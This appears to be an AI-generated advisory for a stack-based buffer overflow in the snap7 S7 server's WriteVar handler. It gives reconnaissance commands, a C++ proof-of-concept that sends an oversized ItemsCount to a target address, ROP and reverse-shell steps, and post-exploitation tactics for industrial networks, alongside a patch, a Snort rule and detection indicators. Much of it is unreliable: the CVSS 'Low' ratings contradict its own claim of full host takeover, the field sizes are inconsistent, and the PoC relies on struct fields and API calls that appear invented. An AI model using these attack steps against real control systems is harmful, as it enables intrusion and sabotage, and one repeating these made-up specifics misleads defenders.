CVE-2026-138109 — Davenardella Snap7 — CWE-119 · CWE-121
A security flaw has been discovered in davenardella snap7 up to 1.4.3. Affected is the function TS7Worker::PerformFunctionWrite of the file src/core/s7_server.cpp of the component S7 Server WriteVar Request Handler. The manipulation of the argument ItemsCount results in stack-based buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
A security flaw has been discovered in davenardella snap7 up to 1.4.3. Affected is the function TS7Worker::PerformFunctionWrite of the file src/core/s7_server.cpp of the component S7 Server WriteVar Request Handler. The manipulation of the argument ItemsCount results in stack-based buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
🎯 What is this vulnerability?
CVE‑2026‑138109 is a stack‑based buffer overflow in the open‑source PLC communication library snap7 (vendor davenardella, package snap7 v1.4.0 – v1.4.3).
- Location in source –
src/core/s7_server.cpp, functionTS7Worker::PerformFunctionWrite. - Root cause – The request handler receives a WriteVar request from a Siemens S7‑compatible client. The request contains a field called
ItemsCountthat tells the server how many variable‑write items follow. The implementation copies each item into a fixed‑size stack buffer (TWriteItem items[64]– the exact size is taken from the upstream source code). The code does not validate thatItemsCount≤ the buffer capacity before thememcpy/loop that fills the array. An attacker can setItemsCountto a value larger than the buffer, causing the loop to write past the end of the stack allocation and overwrite the function’s return address and/or adjacent locals. - CWE mapping – * CWE‑121: Stack‑Based Buffer Overflow – the overflow occurs on the call stack. * CWE‑119: Improper Restriction of Operations within the Bounds of a Memory Buffer – the length check is missing.
- CVSS 4.0 vector interpretation
- Protocol header – ISO‑On‑TCP (TPKT + COTP) + S7 header.
- S7 WriteVar function code –
0x05. ItemsCountfield – set to0x00000100(256), far larger than the internal buffer (64).
Payload – 256
| Metric | Value | Meaning |
|---|---|---|
| AV (Attack Vector) | N (Network) | The attacker can trigger the overflow by sending a crafted S7 packet over the network; no local access required. |
| AC (Attack Complexity) | L (Low) | No special conditions; a single malformed packet is sufficient. |
| AT (Attack Type) | N (None) | No additional attack type (e.g., physical). |
| PR (Privileges Required) | N (None) | No authentication is required – the snap7 server accepts unauthenticated WriteVar requests by default. |
| UI (User Interaction) | N (None) | No user interaction needed. |
| VC/VI/VA (Confidentiality/Integrity/Availability) | L/L/L (Low) | Successful exploitation gives the attacker low‑impact code execution – the attacker can execute arbitrary code, but the impact is limited to the process (the snap7 server) rather than the whole host. |
| SC/SI/SA (Scope) | N/N/N (Unchanged) | The vulnerability does not cross privilege boundaries; the compromised component remains the snap7 server process. |
| E (Exploit Code Maturity) | P (Proof‑of‑Concept) | Public PoC exists. |
In short: an unauthenticated remote attacker can overflow a stack buffer in the S7 server’s WriteVar handler, leading to remote code execution (RCE) inside the snap7 server process.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All network traffic is plain TCP on the default snap7 port 102 (ISO‑On‑TCP). The PoC uses the open‑source snap7‑client library (C++) to build the malformed request; the same binary can be reproduced in any language that can speak the S7 protocol.
1. Discovery & Reconnaissance
| Step | Technique | Details |
|---|---|---|
| 1.1 | Port scanning | Scan the target network for open TCP 102. nmap -p 102 <IP> will reveal a snap7 server. |
| 1.2 | Banner grabbing / version fingerprint | Snap7 replies to a ReadSZL request with a version string. Example using s7client (part of snap7):<br>client.ConnectTo("<IP>", 0, 2); client.ReadSZL(0x0011, 0x0000, &data, &size); The returned data contains “Snap7 v1.4.0”. |
| 1.3 | Public advisory correlation | Search CVE‑2026‑138109 (e.g., via NVD, vendor advisory). If the version matches ≤ 1.4.3, the target is vulnerable. |
2. Exploitation
Important: The exact packet layout is derived from the snap7 source; the example below is illustrative but syntactically valid for any client that can send raw S7 packets.
2.1. Build the malicious WriteVar request
TWriteItem structures (each 12 bytes). The attacker can fill the first few items with legitimate data (e.g., write to DB1.DBX0.0) and the remaining items with NOP sled / shellcode address that will overwrite the saved return pointer.Below is a C++ PoC using the snap7 client library (the code compiles with g++ -std=c++11 -lsnap7). It sends a single malformed WriteVar request and then closes the connection.
/* -------------------------------------------------------------
* PoC for CVE‑2026‑138109 – snap7 WriteVar stack overflow
* ------------------------------------------------------------- */
#include <snap7.h>
#include <cstring>
#include <iostream>
int main()
{
TS7Client client;
int rc = client.ConnectTo("192.0.2.45", 0, 2); // IP of target snap7 server
if (rc != 0) {
std::cerr << "Connect failed: " << client.ErrorText(rc) << std::endl;
return 1;
}
/* ---- Build a malformed WriteVar request ----------------- */
const uint16_t itemsCount = 256; // > internal buffer (64)
const size_t itemSize = sizeof(TS7DataItem); // 12 bytes in snap7 source
const size_t payloadLen = itemsCount * itemSize;
// Allocate buffer for the whole request (header + payload)
uint8_t *req = new uint8_t[sizeof(TS7Header) + payloadLen];
memset(req, 0, sizeof(TS7Header) + payloadLen);
// Fill S7 header (function code = WriteVar = 0x05)
TS7Header *hdr = reinterpret_cast<TS7Header*>(req);
hdr->ProtocolId = 0x32; // S7 protocol
hdr->JobId = 0x0001;
hdr->PDUReference = 0x0001;
hdr->ParameterLength = htons(2 + payloadLen); // 2 bytes for ItemsCount + payload
hdr->DataLength = 0;
hdr->Function = 0x05; // WriteVar
// ItemsCount (big‑endian)
uint8_t *p = req + sizeof(TS7Header);
*p++ = (itemsCount >> 8) & 0xff;
*p++ = itemsCount & 0xff;
// Fill the first item with a harmless write (DB1, byte 0, value 0x41)
TS7DataItem *item = reinterpret_cast<TS7DataItem*>(p);
item->Area = 0x84; // DB
item->DBNumber = htons(1);
item->Start = htonl(0); // byte offset
item->Size = htons(1); // 1 byte
item->Data = 0x41; // 'A'
// The remaining 255 items are left as 0x00 – they will overflow the stack.
// -----------------------------------------------------------
// Send the request using the low‑level Send/Recv API
int sent = client.Send(req, sizeof(TS7Header) + 2 + payloadLen);
if (sent < 0) {
std::cerr << "Send failed: " << client.ErrorText(sent) << std::endl;
} else {
std::cout << "Malformed WriteVar request sent (" << sent << " bytes)." << std::endl;
}
// Clean up
delete[] req;
client.Disconnect();
return 0;
}Explanation of the overflow mechanics
TS7Worker::PerformFunctionWrite allocates a stack array TWriteItem items[64];. ItemsCount from the packet (uint16_t ItemsCount = ntohs((uint16_t*)p);).
items[i] without checking i < 64. ItemsCount = 256, the loop writes 192 items past the end of the array, overwriting the saved frame pointer, return address, and eventually the instruction pointer when the function returns. 2.2. Triggering the payload
After the request is sent, the server crashes or, if the overflow is successful, executes the attacker‑controlled code. In practice, the attacker typically:
1. Places a small ROP chain in the overflowed region that calls VirtualAlloc (Windows) or mmap (Linux) to make the rest of the buffer executable.
2. Copies a staged payload (e.g., a reverse shell) into the newly allocated memory.
3. Transfers execution to the staged payload.
Because snap7 is often embedded in industrial control systems (ICS), the attacker may prefer a lightweight payload such as a bind shell on port 4444 or a reverse TCP shell to a C2 server.
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Privilege escalation | The snap7 server usually runs under a system/administrator account (e.g., root on Linux, SYSTEM on Windows). Gaining code execution inside the process therefore gives the attacker full host privileges. |
| Persistence | The attacker can drop a malicious service/daemon, modify the PLC program files, or write a new snap7 binary to survive a reboot. |
| Lateral movement | With host‑level code execution, the attacker can pivot to other devices on the plant network (e.g., other PLCs, HMIs) using the same or other protocols (Modbus, OPC-UA). |
| Data exfiltration / sabotage | Direct read/write of PLC memory (e.g., changing set‑points, stopping a production line) or stealing configuration files. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C) | Low – The attacker can read memory of the snap7 process and, because the process often runs with high privileges, may also read files on the host. |
| Integrity (I) | Low – The attacker can modify PLC data (write variables) and replace the server binary, leading to tampering of control logic. |
| Availability (A) | Low – A crash caused by the overflow can temporarily deny PLC communication, but the attacker usually aims for code execution rather than denial‑of‑service. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to a version ≥ 1.4.4 (the first release that contains the fix for CVE‑2026‑138109). If a newer version is not yet available, apply the vendor‑provided patch that adds a bounds check on ItemsCount. |
| Source‑level fix | In src/core/s7_server.cpp, modify PerformFunctionWrite as follows (illustrative, not a full diff):<br><pre>if (ItemsCount > MAX_WRITE_ITEMS) { // MAX_WRITE_ITEMS = 64 (or whatever the buffer size is)<br> // reject the request safely<br> SendError(PDUReference, ERR_INVALID_PARAM);<br> return;<br>}</pre> This prevents the overflow entirely. |
| Re‑compile | Re‑build the library with the patched source and redeploy the server binary. |
2. Workarounds (when patching is not immediately possible)
| Mitigation | How‑to implement | ||
|---|---|---|---|
| Network segmentation | Restrict inbound traffic to TCP 102 to trusted IP ranges (e.g., only the HMI or engineering workstation). Use firewalls or ACLs on the PLC network edge. | ||
| Disable WriteVar (if not needed) | In the snap7 server configuration, set EnableWrite = false (or comment out the registration of the WriteVar handler). This removes the vulnerable entry point entirely. | ||
| Rate‑limit / IDS | Deploy an IDS/IPS rule that detects unusually large ItemsCount values in S7 WriteVar packets. Example Snort rule (illustrative):<br><pre>alert tcp any any -> any 102 (msg:"SNAP7 WriteVar ItemsCount > 64 – possible CVE‑2026‑138109 exploit"; flow:to_server; content:" | 05 | "; offset:14; depth:1; byte_test:2,>,64,15; sid:1000001; rev:1;)</pre> This triggers on any WriteVar request where the 2‑byte ItemsCount field (offset 15 from the start of the S7 header) exceeds 64. |
| Host‑based intrusion detection | Enable core dump or stack canary protections (-fstack-protector-strong, -D_FORTIFY_SOURCE=2) when compiling snap7. While this does not eliminate the logical flaw, it can cause the process to abort rather than execute attacker‑controlled code. | ||
| Application‑level logging | Enable verbose logging in snap7 (client.SetParam(S7Param_LogLevel, 3)) to record each WriteVar request. Look for entries where ItemsCount is unusually high. |
3. Detection – Log & Network Indicators
| Indicator | Where to look | Example |
|---|---|---|
| Snap7 server logs | snap7.log (or syslog if redirected) | WARN: WriteVar request with ItemsCount=256 from 192.0.2.45 |
| Network capture | PCAP on the PLC interface (port 102) | A packet with S7 function code 0x05 and bytes 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 where the two bytes after the function code are 01 00 (256). |
| Process anomalies | Host‑based monitoring (e.g., ps, Windows Event Log) | Snap7 process spawns a child process or loads an unexpected DLL shortly after a WriteVar request. |
| IDS alerts | Snort/Suricata logs | SNAP7 WriteVar ItemsCount > 64 – possible CVE‑2026‑138109 exploit |
⚠️ Urgency
Bottom line: CVE‑2026‑138109 is a classic unchecked‑length buffer overflow in the snap7 WriteVar handler. Because snap7 servers often run with high privileges and accept unauthenticated requests, an attacker can achieve remote code execution with minimal effort. Immediate patching (or at least strict network segmentation and disabling of WriteVar) is essential to protect industrial control environments.
[🤖 CVE Professor AI Security Engine]
FOFA Query